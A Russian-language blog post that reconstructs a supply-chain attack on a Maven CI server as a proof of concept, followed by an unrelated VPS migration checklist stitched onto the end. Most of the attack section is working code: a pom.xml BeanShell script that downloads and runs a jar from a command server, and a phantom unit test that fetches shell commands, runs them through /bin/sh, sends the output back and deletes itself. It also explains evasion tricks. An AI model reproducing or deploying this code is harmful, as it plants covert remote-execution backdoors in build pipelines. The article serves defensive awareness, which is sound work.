Сам BeanShell является Java-приложением, поэтому позволяет в своем коде вызывать и использовать методы и классы из «большой джавы».
Еще существует известный и широко используемый плагин для Maven, позволяющий вызывать код на BeanShell во время процесса сборки.
Причем код скрипта BeanShell можно засунуть непосредственно внутрь pom.xml:
<plugin> <groupId>com.github.genthaler</groupId> <artifactId>beanshell-maven-plugin</artifactId> <version>1.4</version> <executions> <execution> <phase>process-test-resources</phase> <goals> <goal>run</goal> </goals> </execution> </executions> <configuration> <quiet>true</quiet> <script> <![CDATA[ System.out.println(); import java.io.*; File r = new File("/tmp/evil.jar"); if (!r.exists()) { InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = new byte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close(); } addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run(); ]]> </script> </configuration> </plugin>
Теперь давайте разберем вложенный код скрипта, вот он отдельно:
System.out.println(); importjava.io.*; File r = new File("/tmp/evil.jar"); if (!r.exists()) { InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = newbyte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close(); } addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run();
Первая строчка:
System.out.println();
нужна лишь для отвода глаз введения в заблуждение:
плагин с BeanShell отображает либо первую не пустую строчку кода скрипта либо весь скрипт целиком.
Очевидно что атакующему не очень надо было палиться при сборке, поэтому с помощью опции:
<quiet>true</quiet>
было включено отображение только первой строчки, в качестве которой и выступила System.out.println() , которая печатает пустую строку.
Дальше происходит проверка на существование локальной копии зловредной библиотеки:
File r = new File("/tmp/evil.jar"); if (!r.exists()) { ... }
И если ее еще нет, то происходит скачивание с управляющего сервера:
InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = newbyte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close();
Дальше используется фишка особенность плагина BeanShell в виде динамического управления Classpath выполняемого скрипта:
addClassPath( r.toURI().toURL() );
Да да, прямо во время работы происходит добавление скачанной библиотеки в текущий сlasspath и запуск класса уже изнутри этой библиотеки:
org.evil.EvilRun.run();
Что внутри нее мы разберем чуть ниже, а сейчас надо пояснить важный момент:
весь код выше на самом деле использовался разово — для скачивания зловредной библиотеки на CI-сервере, а затем коммит с ним был удален из репозитория.
Имейте ввиду такую возможность, не все в курсе, что коммиты в Git могут удаляться и затираться, после чего они не будут видны в истории репозитория.
Версия, которая осталась в репозитории выглядела куда безопасней:
Естественно что никаких org.evil.EvilRun там не было и все в целом выглядело как стандартный но немного кривой патч от вендора.
Злая библиотека
Теперь разберем ту самую «зловредную» библиотеку. Но прежде чем продолжать, стоит пояснить еще одну важную деталь:
Разработчики, DevOps и админы в массе своей — не полные идиоты.
Поэтому ввести их в заблуждение и заставить не замечать манипуляции с CI-сервером, с которым они работают каждый день по много раз — не такая простая задача как может показаться из этой статьи.
Это все вот к чему:
технически можно было обойтись одним лишь BeanShell, запихнув вообще весь код туда, но тогда любая сетевая задержка или ошибки при выполнении команд рано или поздно привлекли бы внимание, поскольку сборка проекта тормозила (или падала) бы четко на этой стадии, всячески себя подсвечивая и демаскируя.
Поэтому авторы зловреда пошли другим путем — есть место в любом крупном проекте, где произвольные тормоза и постоянные ошибки являются нормой.
Называется этот «рай» — unit-тесты.
Даже в самых крутых и самых дорогих проектах на моей памяти всегда были падающие и временно неработающие тесты. Что‑то чинили, на что‑то забивали но поддержка и сопровождение юнит‑тестов никогда не была главным приоритетом.
Еще разумеется на большом проекте количество автотестов никто не считает, поэтому если добавится еще один — мало кто заметит.
По крайней мере сразу.
Оригинальные авторы изучаемого зловреда видимо тоже были в курсе такого положения дел, поэтому и поместили всю управляющую логику именно в такой тест, причем ссюрпризом.
Начнем с кода:
package org.evil; import java.io.File; import java.io.InputStream; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.Objects; /* This class will be called from BeanShell script */ publicclass EvilRun { // point of execution publicstaticvoid run() { try { String projectDir = System.getProperty("maven.multiModuleProjectDirectory"); File targetFolder = new File(projectDir + "/target/test-classes");
if (!targetFolder.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s".formatted(targetFolder)); }
System.out.println("evil class was called.."); finalString fname = EvilTest.class.getSimpleName() + ".class"; try (InputStream in = Objects.requireNonNull(EvilTest.class.getResource(fname)).openStream()) { File d = new File(targetFolder, EvilTest.class.getPackageName() .replaceAll("\\.", "/")); if (!d.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s".formatted(d)); } System.out.printf("folder: %s%n", d.getAbsolutePath()); Files.copy(in, new File(d,fname).toPath(), StandardCopyOption.REPLACE_EXISTING); } } catch (Exception e) { e.printStackTrace(); } } }
Собственно статичный метод run() это и есть точка входа, вызываемая плагином BeanShell:
org.evil.EvilRun.run();
Как видите вся логика обернута в try-catch блок, но разумеется в оригинале никакого показа трассировки не было, все сообщения об ошибках просто глушились — чтобы лишний раз не палиться привлекать внимание.
Дальше происходит чтение специальной переменной окружения:
которую (как и еще несколько) задает сам Maven при запуске сборки.
Переменная, как нетрудно догадаться, содержит полный путь до корня собираемого проекта — не забывайте что оригинальный проект в отличие от тестового был очень большим и содержал множество разных модулей со своей внутренней иерархией.
Дальше происходит определение каталога с уже собранными классами тестови попытка создания, если таковой не найден:
File targetFolder = new File(projectDir + "/target/test-classes"); if (!targetFolder.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s" .formatted(targetFolder)); }
Дальше определяется полный путь до класса с классом фейкового теста внутри зловредной библиотеки:
final String fname = EvilTest.class.getSimpleName() + ".class"; try (InputStream in = Objects .requireNonNull(EvilTest.class.getResource(fname)).openStream()) { File d = new File(targetFolder, EvilTest.class.getPackageName() .replaceAll("\\.", "/")); if (!d.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s" .formatted(d)); } System.out.printf("folder: %s%n", d.getAbsolutePath());
Затем этот класс копируется из библиотеки в папку с готовыми тестами.
Получается такой фантомный тест, исходного кода которого на сервере нет, а его выполнение — есть.
Это еще один важный урок для DevOps и админов, которые по работе должны отвечать за сборку на Maven: абсолютно все классы, которые попадают в каталог target/test-classes считаются тестами и запускаются автоматически при работе Maven.
Разберем логику, отвечающую за взаимодействие с командным сервером, то что внутри зловредного теста:
List<String> commands = getCommands(); String raw = execute(commands); send(raw);
try { final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class"); final File f = p.toFile(); System.out.printf("file: %s%n", f.getAbsolutePath()); // Requests that the file or directory denoted by this abstract // pathname be deleted when the virtual machine terminates. f.deleteOnExit(); } catch (Exception e) { e.printStackTrace(); } }
public List<String> getCommands() { try { URL u = new URL("http://localhost:8000/commands.txt"); List<String> commands = new ArrayList<>(); try (BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream()))) { String inputLine; while ((inputLine = in.readLine()) != null) { if (!inputLine.isBlank()) commands.add(inputLine); } } return commands; } catch (Exception e) { e.printStackTrace(); return null; } }
publicString execute(List<String> commands) { if (commands==null) { return null; } finalStringBuilder sb = newStringBuilder("Results of ") .append(commands.size()) .append(" commands\n"); for (String c:commands) { sb.append(c).append("\n"); String result = run(c); if (result==null || result.isBlank()) { sb.append("error"); } else { sb.append(result); } sb.append('\n'); } return sb.toString(); }
publicString run(String c) { try { ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c",c); Process process = pb.start(); process.waitFor(); returnnewString(process.getInputStream().readAllBytes(), StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); return null; } } }
Теперь по шагам.
Вот этот метод с аннотацией @Test по мнению Maven является обычным тестом, достойным автоматического запуска при сборке:
@Test publicvoid testEvil() { System.out.println("Not so ordinary test"); .. }
Три последовательных вызова ниже:
List<String> commands = getCommands(); String raw = execute(commands); send(raw);
являются всей логикой работы нашего упрощенного зловреда:
получаем команды с управляющего сервера;
выполняем;
отправляем назад результат.
Все достаточно просто, как раз для для PoC и демонстрации работы.
Разумеется в оригинале код был на порядок сложнее: с криптографией, обфрускацией, повторной отправкой и так далее. Но честным гражданам ведь это не интересно, правда?
А вот блок ниже был сохранен как раз для оценки уровня исполнения оригинала:
try { final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class"); final File f = p.toFile(); System.out.printf("file: %s%n", f.getAbsolutePath()); // Requests that the file or directory denoted by this abstract // pathname be deleted when the virtual machine terminates. f.deleteOnExit();
} catch (Exception e) { e.printStackTrace(); }
Он отвечает за..самоуничтожение.
Нет я серьезно, этот код на такой «безопасной» Java, который удаляет сам себя (скомпилированную версию) с диска прямо во время своей же работы.
Происходит это путем определения пути к собственному классу c учетом имени, названия пакета и родительского пути:
final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class");
и указанием «удалить при завершении работы виртуальной машины»:
f.deleteOnExit();
В результате все «шито-крыто»: в файловой системе такого теста нет, но при запуске сборки он выполняется.
Код каждого из методов, отвечающих за взаимодействие с управляющим сервером думаю разбирать не стоит — там все очень тривиально и будет понятно даже совсем зеленым разработчикам.
Командный сервер
Расскажу еще немного про «командный сервер».
Думаю и так очевидно, что доступа к оригиналу этой штуки у меня не было, поскольку сервер работал на стороне злоумышленников и был отключен сразу после атаки.
Так что это полностью собственная, максимально упрощенная реализация — без какой-либо авторизации, проверок и криптографии.
Выполняет этот сервер всего три задачи:
Отдача текстового файла с командами для выполнения,
Отдача для скачивания зловредной библиотеки,
Прием результатов выполнения команд.
Вот весь код реализации:
var express = require("express") var app = express()
Единственная зависимость — сам Express фреймворк, отвечающий за всю логику построения сервера, отдачу статики и разбор входящих данных.
Видите сколько всего интересного можно вытащить из окружения работающей сборки, глаз дергается.
Выводы и рекомендации
Поскольку это любительская статья в частном блоге, а не официальный отчет — вполне могу говорить «как есть», а не «как будет лучше» и не сдерживаться.
И если говорить «как есть»:
Любой CI/CD сервер это одна сплошная дыра с точки зрения ИБ, а вся современная практика Continuous integration — натуральный «контракт с Сатаной, подписанный вашей кровью», поскольку за скорость разработки вы платите постоянным риском взлома и утечки.
Как только в одном месте встречаются автоматическое скачивание и выполнение кода — неизбежно и неотвратимо возникает дыра в безопасности. И ничего с этим не сделать, поскольку проблема на уровне самих концепций Continuous Integration и Continuous Delivery.
Если вы всерьез заинтересованы вопросами безопасности разработки — создаете софт для авиационной или атомной отрасли или (тем более) оборонки, первое что вам стоит сделать это полностью изолировать всю разработку от доступа в сеть.
Вообще всю и целиком: вся работа должна происходить только в закрытом контуре — от рабочих мест разработчиков и до серверов. Автоматического скачивания чего-либо из сети у вас быть не должно.
Никаких бинарных библиотек — все каждый раз собирается только из исходников.
Для проектов попроще могу посоветовать глянуть сумму штрафа для юридических лиц за утечку персональных данных, в качестве своеобразной мотивации.
К сожалению изложенные в ней вещи не потеряют своей актуальности в ближайшем будущем, поскольку в очередной раз использовались вполне себе стандартные и доступные инструменты, но нестандартным способом.
Проблемы при переезде на VPS-сервер случаются не из-за сложности, а из-за недостаточной подготовки. Этот чек-лист поможет проверить всё важное до переноса нагрузки.
Оцените текущую нагрузку и ресурсы
Снимите реальные пики CPU, RAM и диска, а не оценку “на глаз”. Если пики редкие, можно ориентироваться на средние значения с запасом в 1,5–2 раза. Но для баз данных, очередей и сервисов с резкими всплесками трафика важнее именно пиковые значения: по ним стоит проверять CPU, RAM и диск. Под эти данные подбирайте VPS: если база данных и приложение работают на одной машине, не ужимайте RAM ниже рабочего минимума.
Проверьте зависимости и окружение
Проверка зависимостей и окружения перед переносом на VPS: версии ОС, Node.js, Python, Nginx, PostgreSQL и Redis, переменные окружения, Docker Compose и конфигурации сервера.
Зафиксируйте версии ОС, рантаймов (Node, Python, Java), системных библиотек и сторонних сервисов. Переменные окружения и конфиги часто хранятся локально и в репозиторий не попадают. Проверьте их на старом сервере и убедитесь, что все нужные значения перенесены на новый.
Настройте сеть, домены и безопасность
Настройка DNS перед переносом сайта на VPS: снижение TTL до 60–300 секунд, проверка портов, SSL-сертификатов, SSH-ключей, firewall и ограничения доступа по IP.
Проверьте, что нужные порты открыты и задокументированы. Понизьте TTL на текущих DNS-записях до 60–300 секунд заранее: новое значение начнёт действовать только после истечения старого TTL. После этого можно переключать записи. Убедитесь, что SSL-сертификаты готовы к выдаче на новомVPS-сервере. SSH переводите только на ключи, настройте firewall и ограничьте доступ по IP.
Подготовьте бэкапы и план отката
Подготовка бэкапов и плана отката перед переносом на VPS: резервное копирование данных, проверка целостности, тестовое восстановление, защита от потери данных и сокращение времени простоя.
Перед миграцией на VPS сделайте полный дамп данных, проверьте целостность резервной копии и выполните тестовое восстановление в отдельном окружении. Само наличие дампа ещё не гарантирует, что из него получится восстановить рабочий сервис. Определите окно для миграции с минимальным трафиком и пропишите конкретные шаги отката – не «вернуть как было», а подробно: что вернуть, откуда и за сколько минут.
Сводный чек-лист перед стартом
Сводный чек-лист перед переносом на VPS: проверка нагрузки CPU, RAM и диска, версий ОС и окружения, DNS и SSL, firewall и SSH-ключей, резервной копии, тестового восстановления и плана отката.
• Пиковые значения CPU/RAM/диска измерены и зафиксированы
• Версии ОС, рантаймов и библиотек задокументированы
• Переменные окружения перенесены и проверены
• DNS и SSL настроены, TTL снижен
• Порты задокументированы, firewall настроен, SSH только по ключам
• Резервная копия проверена, тестовое восстановление выполнено
• Окно миграции определено, план отката прописан
Проверьте чек-лист перед стартом и перенос на VPS пройдёт спокойнее. Выбирайте VPS-провайдера под требования нагрузки, а не только по цене.